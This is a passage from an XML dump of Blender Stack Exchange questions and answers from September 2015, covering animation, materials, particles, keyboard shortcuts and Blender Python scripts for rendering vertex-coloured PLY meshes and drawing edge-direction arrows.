LastEditDate="2015-09-03T08:46:24.267" LastActivityDate="2015-09-03T15:21:44.940" Title="Is it normal to have these reflections when full global illumination on?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;light&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="36885" PostTypeId="1" CreationDate="2015-09-02T07:17:14.263" Score="0" ViewCount="108" Body="&lt;p&gt;I am trying to animate a marshmallow burning in a flame.  I am working on the flame right now and am about to start trying to animate it and am wondering how to animate color changes.  The marshmallow is going to start white and I want it to change to a golden brown color, then catch on fire and change black.  I'm new to blender and have done a couple little animations but those have all kept everything the same color, and I was wondering if it is possible to fade from one node to another somehow.&lt;/p&gt;&#xA;" OwnerUserId="16254" LastActivityDate="2015-09-02T07:17:14.263" Title="animating a marshmallow burning" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;materials&gt;&lt;nodes&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36886" PostTypeId="1" CreationDate="2015-09-02T07:22:30.963" Score="4" ViewCount="195" Body="&lt;p&gt;I have a body I've created and put clothes on him.  I gave them a cloth modifier and him a collision modifier.  When I simulate the cloth it falls on the body and reacts like cloth, however if I animate the body, it goes through the cloth is there something that I need to do to make the cloth keep reacting to the body as it is animated?&lt;/p&gt;&#xA;" OwnerUserId="16254" LastActivityDate="2018-02-12T00:39:06.293" Title="animating a body and having it effect cloth" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;mesh&gt;&lt;physics&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36887" PostTypeId="2" ParentId="36862" CreationDate="2015-09-02T07:25:24.420" Score="5" Body="&lt;p&gt;As shown you can use the &lt;code&gt;Offset&lt;/code&gt; section in the Font / Curve Objects tab, of the Properties panel. This produces a reasonable offset perimeter for  2D Curve and Font objects. &lt;a href=&quot;https://blender.stackexchange.com/questions/31785/why-wont-logo-display-properly-in-solid-mode/31798#31798&quot;&gt;There are limitations&lt;/a&gt; with respect to self intersection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm writing this response in Sept 2015, some of these details might change but they describe the current state of this feature.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A non-zero offset will expand or shrink the surface area of the Object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here positive offset expands it: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2hRGR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2hRGR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can't see the original shape as an outline when the offset is non-zero. I can imagine it would be useful sometimes to see the original via some &lt;em&gt;ghosting outline&lt;/em&gt;, (You could duplicate the object and leave the duplicate with no offset to see the original form, but that's extra work..)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;you can't see the 'projected' Curve handles. (Without looking at the code i'm not even sure they are projected ..the outline could be generated post tessellation of the surface, and you might only get a polyline.. i don't know.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When you convert a font-object with offset to a Curve object, you get a 2D curve with the Curve handles of the original Glyphs. This means you don't get the Curve handles that are the result of the offset, same issue as above. Usually this isn't a problem, but I can imagine use-cases where the offset Curve handles would be preferred.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zNeuY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zNeuY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In a subsequent question you ask how one might get those handles. Currently i'm not aware that there is a way to get them easily without   &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;changing Blender's source-code&lt;/li&gt;&#xA;&lt;li&gt;writing a Python script that re-implements the C source for the 2D Curve offset as python operator, or implements an alternative outline algorithm to retain the Curve handles.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h3&gt;Making an outline anyway&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Is possible, but any method that I can think of seems to have some inelegance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mQ2yU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mQ2yU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For the above image I used 2 font objects, one with zero offset, and one a positive offset. &lt;/li&gt;&#xA;&lt;li&gt;The &lt;em&gt;Font object&lt;/em&gt; with offset is converted to mesh, then converted to Curve, and you get a single closed polyline. You set the Curve mode back to 2D and if you have the surface filled 2D Curve again, (but now it lacks Bezier handles).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you convert the original &lt;em&gt;Font Object&lt;/em&gt; to a Curve (which will have Bezier handles) and join it with the new closed poly-line version to get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/WuprT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/WuprT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-09-02T08:15:14.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36888" PostTypeId="1" CreationDate="2015-09-02T07:30:15.717" Score="1" ViewCount="346" Body="&lt;p&gt;I would like to create a Doodle art using blender and to give animations to the individual doodles. i want to a have Individual Doodle character to be animated...just like in relative manner.Please help me with this..&lt;/p&gt;&#xA;" OwnerUserId="16847" LastEditorUserId="16847" LastEditDate="2015-09-02T13:36:06.503" LastActivityDate="2015-09-02T13:36:06.503" Title="How do i create a Doodle art animation in Blender?" Tags="&lt;modeling&gt;&lt;animation&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2015-09-02T12:35:12.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="36889" PostTypeId="1" CreationDate="2015-09-02T07:56:42.557" Score="2" ViewCount="781" Body="&lt;p&gt;I am trying to draw an arrow in between 2 vectors in an edge to simply represent the direction edge is going to. But I am getting weird results. Sometimes the arrow are perpendicular to the line itself and have odd rotation. What am I doing wrong? Please mind that this is orthographic projection of the top view, I have clicked the picture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZACGQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZACGQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arrow_head = [&#xA;    [-1,-1],&#xA;    [0,0],&#xA;    [1,-1],&#xA;]&#xA;&#xA;def draw_arrow_head(self, context, vecFrom, vecTo):&#xA;    ob = context.object&#xA;    if ob is None:&#xA;        return&#xA;&#xA;    direction = Vector(vecTo) - Vector(vecFrom)&#xA;    direction.resize_2d()&#xA;    angle = direction.angle(Vector((0,1)))&#xA;&#xA;    # form a 2d rotation matrix&#xA;    mat = Matrix().Rotation(angle, 2)&#xA;&#xA;    # middle point&#xA;    middle = (Vector(vecTo) + Vector(vecFrom)) / 2.0&#xA;&#xA;    bgl.glBegin(bgl.GL_LINE_STRIP)&#xA;    for v in arrow_head:&#xA;        xy = Vector(v)* 4.0 * mat&#xA;        xy.resize_3d()&#xA;        newPos = xy + middle&#xA;        bgl.glVertex3f(*newPos)&#xA;    bgl.glEnd()&#xA;&#xA;def draw_edge_direction(self, context):&#xA;    ob = context.object&#xA;    if ob is None:&#xA;        return&#xA;&#xA;    if bpy.context.active_object.mode != 'EDIT':&#xA;        return&#xA;&#xA;    obj = context.edit_object&#xA;    me = obj.data&#xA;&#xA;    bm = bmesh.from_edit_mesh(me)&#xA;&#xA;    for e in bm.edges:&#xA;        draw_arrow_head(self, context, e.verts[0].co, e.verts[1].co)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15093" LastEditorUserId="15093" LastEditDate="2015-09-02T08:06:39.913" LastActivityDate="2015-09-02T08:06:39.913" Title="Drawing an arrow between 2 vertices to indicate the direction using bgl" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36891" PostTypeId="1" CreationDate="2015-09-02T08:16:02.763" Score="4" ViewCount="2159" Body="&lt;p&gt;I have a very fast computer and i'm trying to render out this scene (just in the viewport, as i'm making stuff, so not the final product) when when I turn the view a little in certain directions it all goes grey, and where i move after that everything is grey (In render view/render. All the effect are just simple texture/alpha tweaking&lt;a href=&quot;https://i.stack.imgur.com/fpV1g.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fpV1g.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;, what is the issue here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the outliner and i thries the reset it worked once, but couldn't get it to do it again&lt;a href=&quot;https://i.stack.imgur.com/uYN5q.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uYN5q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Actually I did get the reset to work a few more times but it only seems to work on sporadically, but it doesn't seem to be an alpha issue, because there has been nothing blocking the view for the majority of the failures ( like the first pic, there is no transparent plane blocking that view, or anything[That i'm aware of])&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The File-&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/464/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=464&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13912" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-10-28T04:31:44.447" Title="Why is my render turning out grey?" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="36892" PostTypeId="1" CreationDate="2015-09-02T08:43:39.363" Score="13" ViewCount="5170" Body="&lt;p&gt;I am trying to make thick forest in blender using emitter or hair emitter. The problem is that with huge ammount of trees they intersect with each other and I do not want that to happen. I did use various setting, groups and tricks without success. Does anyone have idea how to make it work? Here you can find &lt;a href=&quot;http://www.pasteall.org/blend/37829&quot;&gt;blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16849" LastActivityDate="2015-09-02T21:11:33.877" Title="How to use emitter for generating thick forest so that trees would not intersect?" Tags="&lt;particles&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36893" PostTypeId="2" ParentId="36862" CreationDate="2015-09-02T08:50:44.910" Score="5" Body="&lt;p&gt;This can be done quite easily using &lt;a href=&quot;http://inkscape.org/en/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inkscape&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First you have to get an image like this: &lt;em&gt;(a simple B&amp;amp;W image, where black represent what you want to be converted into 3D)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3xDSY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3xDSY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you have to convert it into vector graphics using Inkscape, you can see this short and simple &lt;a href=&quot;https://www.youtube.com/watch?v=ows2QTiMRPg&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tutorial&lt;/a&gt; on how to do it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then you can import it in Blender, and start adjusting it in the properties panel, &lt;em&gt;Data&lt;/em&gt; Tab.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/p0SZi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/p0SZi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will be imported as Curve, but it could be easily converted into mesh by pressing &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &gt; &lt;strong&gt;Mesh from Curve/Meta/Surf/Text&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dGZXX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dGZXX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2015-09-02T08:50:44.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36894" PostTypeId="1" AcceptedAnswerId="36899" CreationDate="2015-09-02T08:56:31.343" Score="9" ViewCount="1482" Body="&lt;p&gt;I want a keyboard shortcut for switching between selecting things; vertices, faces and points. One key for each, not a pop up menu where i have to select with the mouse. Does this exist? Modelling should be like playing a piano or something, a key for everything, minimal aiming the mouse pointer att small icons, this aiming the mouse att small icons all the time is so.. breaks the flow.. Im sure it exists but i cant find it anywhere?&lt;/p&gt;&#xA;" OwnerUserId="16850" LastEditorUserId="16850" LastEditDate="2015-09-02T13:13:38.357" LastActivityDate="2015-12-16T20:52:15.447" Title="How to assign a keyboard shortcut for a mesh selection mode?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36896" PostTypeId="1" CreationDate="2015-09-02T09:40:29.377" Score="1" ViewCount="2514" Body="&lt;p&gt;The Node Map usage in the first case looks correct and crisp:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/UHDbT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/UHDbT.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But second case looks inverted and crumpled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iGW9T.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iGW9T.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why the second way doesn't work?&#xA;I use the purple normal map and follow &lt;a href=&quot;https://youtu.be/rPxPWqj99kA?t=3m37s&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8120" LastActivityDate="2015-09-02T09:40:29.377" Title="Correct way to use the Normal Map node in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36897" PostTypeId="1" AcceptedAnswerId="36898" CreationDate="2015-09-02T09:42:37.590" Score="2" ViewCount="822" Body="&lt;p&gt;My goal is to get a rendered image of an PLY mesh from command line.&#xA;I wrote this script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;import sys&#xA;from math import pi&#xA;&#xA;filename = 'web.ply'&#xA;in_dir = os.path.join('J:\\', 'aa')&#xA;item = os.path.join(in_dir, filename)&#xA;out_dir = os.path.join(in_dir, 'out')&#xA;os.makedirs(out_dir, exist_ok=True)     &#xA;&#xA;&#xA;bpy.ops.object.delete()&#xA;bpy.ops.import_mesh.ply(filepath=os.path.join(item))&#xA;bpy.ops.object.lamp_add(type='SUN', radius=100, view_align=False, location=(0, 0, 0), layers=(True, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False, False))&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;for ob in bpy.data.objects:&#xA;  print (ob.type, ob.name)&#xA;  if ob.type == 'MESH':&#xA;    bpy.context.scene.objects.active = ob&#xA;    ob.select = True&#xA;  elif ob.type == 'CAMERA':&#xA;    ob.data.clip_end = 1000000&#xA;    ob.data.clip_start = 0.01&#xA;    ob.select = False&#xA;  else:&#xA;    ob.select = False&#xA;&#xA;&#xA;bpy.ops.transform.rotate(value=pi/2, axis=(True, False, False))&#xA;bpy.context.scene.render.resolution_x = 692&#xA;bpy.context.scene.render.resolution_y = 900&#xA;bpy.context.scene.render.alpha_mode = 'TRANSPARENT'&#xA;&#xA;bpy.ops.object.mode_set(mode='VERTEX_PAINT')&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        ctx = bpy.context.copy()&#xA;        ctx['area'] = area&#xA;        ctx['region'] = area.regions[-1]&#xA;        bpy.ops.view3d.view_selected(ctx)&#xA;        bpy.ops.view3d.camera_to_view_selected(ctx)&#xA;&#xA;bpy.context.scene.render.image_settings.file_format = 'PNG'&#xA;bpy.context.scene.render.image_settings.quality = 100&#xA;bpy.context.scene.render.filepath = os.path.join(out_dir, filename+'-preview.jpg')&#xA;bpy.ops.render.render(write_still=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, but not properly renders colors. The output image is in gray scale colors!&#xA;I think that the issue is &lt;strong&gt;bpy.ops.object.mode_set(mode='VERTEX_PAINT')&lt;/strong&gt; and the position inside the script. Something is wrong. Any tips?&#xA;Here a PLY example file: &lt;a href=&quot;http://156.54.99.175/3d/a.ply&quot; rel=&quot;nofollow&quot;&gt;http://156.54.99.175/3d/a.ply&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16651" LastEditorUserId="16651" LastEditDate="2015-09-02T13:15:56.790" LastActivityDate="2020-02-26T17:14:21.277" Title="How to properly set VERTEX_PAINT mode from a python script?" Tags="&lt;python&gt;&lt;import&gt;&lt;vertex-colors&gt;&lt;vertex-paint&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36898" PostTypeId="2" ParentId="36897" CreationDate="2015-09-02T10:12:09.013" Score="2" Body="&lt;p&gt;If you used &lt;code&gt;bpy.ops.screen.screenshot(ctx, filepath=destination, full=False)&lt;/code&gt; in the correct context it would save a &lt;em&gt;screenshot&lt;/em&gt; of what you see in the viewport, but render.render() isn't the same as doing a screenshot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you're getting something like this?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kcaJn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kcaJn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set up a material to pipe the Vertex Color Layer to the material diffuse colour. Right now you are rendering the object with the default material, which doesn't know anything about the Vertex Color layer. The &lt;code&gt;.ply&lt;/code&gt; importer doesn't assign a material to your object.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Blender Internal materials.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6YhTm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6YhTm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# assuming there is a material assigned to the object.&#xA;obj.data.materials[0].use_vertex_color_paint = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;else it's something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj = bpy.data.objects['a']&#xA;mat = bpy.data.materials.new('material_1')&#xA;obj.active_material = mat&#xA;mat.use_vertex_color_paint = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;maybe stick some ambient occlusion on it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bMlxL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bMlxL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.worlds[&quot;World&quot;].light_settings.use_ambient_occlusion = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;For cycles materials&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;via the UI it's pretty easy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JGQnL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JGQnL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which makes a node setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/45iP7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/45iP7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to script that, that's another matter.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Your script adjusted (expects Blender Internal)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;import bpy&#xA;import sys&#xA;from math import pi&#xA;&#xA;# filename = 'web.ply'&#xA;# in_dir = os.path.join('J:\\', 'aa')&#xA;filename = 'a.ply'&#xA;in_dir = &quot;/home/zeffii/Desktop&quot;&#xA;item = os.path.join(in_dir, filename)&#xA;out_dir = os.path.join(in_dir, 'out')&#xA;os.makedirs(out_dir, exist_ok=True)&#xA;&#xA;&#xA;bpy.ops.object.delete()&#xA;bpy.ops.import_mesh.ply(filepath=item)&#xA;bpy.ops.object.lamp_add(&#xA;    type='SUN', radius=100,&#xA;    view_align=False, location=(0, 0, 0),&#xA;    layers=tuple(i == 0 for i in range(20))&#xA;)&#xA;bpy.ops.object.select_all(action='DESELECT')&#xA;&#xA;for ob in bpy.data.objects:&#xA;    print(ob.type, ob.name)&#xA;    if ob.type == 'MESH':&#xA;        bpy.context.scene.objects.active = ob&#xA;        ob.select = True&#xA;        mat = bpy.data.materials.new('material_1')&#xA;        ob.active_material = mat&#xA;        mat.use_vertex_color_paint = True&#xA;    elif ob.type == 'CAMERA':&#xA;        ob.data.clip_end = 1000000&#xA;        ob.data.clip_start = 0.01&#xA;        ob.select = False&#xA;    else:&#xA;        ob.select = False&#xA;&#xA;bpy.ops.transform.rotate(value=pi / 2, axis=(True, False, False))&#xA;scn = bpy.context.scene&#xA;scn.render.resolution_x = 692&#xA;scn.render.resolution_y = 900&#xA;scn.render.alpha_mode = 'TRANSPARENT'&#xA;bpy.data.worlds[&quot;World&quot;].light_settings.use_ambient_occlusion = True&#xA;&#xA;&#xA;for area in bpy.context.screen.areas:&#xA;    if area.type == 'VIEW_3D':&#xA;        ctx = bpy.context.copy()&#xA;        ctx['area'] = area&#xA;        ctx['region'] = area.regions[-1]&#xA;        bpy.ops.view3d.view_selected(ctx)&#xA;        bpy.ops.view3d.camera_to_view_selected(ctx)&#xA;&#xA;scn.render.image_settings.file_format = 'PNG'&#xA;scn.render.image_settings.quality = 100&#xA;scn.render.filepath = os.path.join(out_dir, filename + '-preview.jpg')&#xA;bpy.ops.render.render(write_still=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;outputs this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8Y2ap.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Y2ap.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-09-02T12:54:28.723" LastActivityDate="2015-09-02T12:54:28.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36899" PostTypeId="2" ParentId="36894" CreationDate="2015-09-02T10:28:10.427" Score="15" Body="&lt;p&gt;In &lt;em&gt;Edit Mode&lt;/em&gt; press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Tab&lt;/kbd&gt; to open a &lt;em&gt;Mesh Select Mode&lt;/em&gt; pop up menu. Hover the mouse cursor over a selection type you want to add a shortcut to, press &lt;strong&gt;RMB&lt;/strong&gt;--&gt;&lt;strong&gt;&lt;em&gt;Add Shortcut&lt;/em&gt;&lt;/strong&gt; and input a desired keyboard button.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6Pjcc.gif&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Pjcc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may &lt;em&gt;change or remove a shortcut&lt;/em&gt; in the same way.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/h9Fs9.gif&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h9Fs9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-09-02T10:38:32.857" LastActivityDate="2015-09-02T10:38:32.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36900" PostTypeId="2" ParentId="36884" CreationDate="2015-09-02T11:47:37.600" Score="1" Body="&lt;p&gt;Afaik. This is normal. What is happening is that the chocolate filling reflects the glass' internal surfaces multiple times. One way to avoid this would be to use the light path node to limit the glossy component of the chocolate to only non-glossy rays, effectively elliminating the problem. ANother way around the problem would be to remove the faces of the cup that are in direct contact with th chocolate.&lt;/p&gt;&#xA;" OwnerUserId="15637" LastActivityDate="2015-09-02T11:47:37.600" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36901" PostTypeId="1" CreationDate="2015-09-02T12:47:53.780" Score="3" ViewCount="2728" Body="&lt;p&gt;I have a gum squeeze bulb rigged with an armature (simple two bones), when I turn the bone the top of the bulbs vertex group is attached to I get a nice bending of the whole bulb. Please see the attached images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I want to have the same behavior accomplished by shape keys.&#xA;I found the Corrective Shape Keys addon, but can't get it doing a good job. The resulting mesh is a mess.&#xA;Also I found the option to apply the armature modifier as a shape key, which gives me exactly the same result as with the armature, but instead with a single shape key. That's too good to be true. So I found, that when I want to bend the bulb in +X/-X and +Y/-Y after the first time using the armature modifier as shape key, my rigging has gone and I can't do the -X/+Y/-Y motions with the &quot;use armature modifier as shape key&quot; process...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help is greatly appreciated!&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8Zwiw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8Zwiw.jpg&quot; alt=&quot;straight bulb: 0°&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Y4jVD.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y4jVD.jpg&quot; alt=&quot;bent bulb by 45°&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2021-05-12T11:01:15.193" Title="Armature deformation behaviour with shape keys" Tags="&lt;armature&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
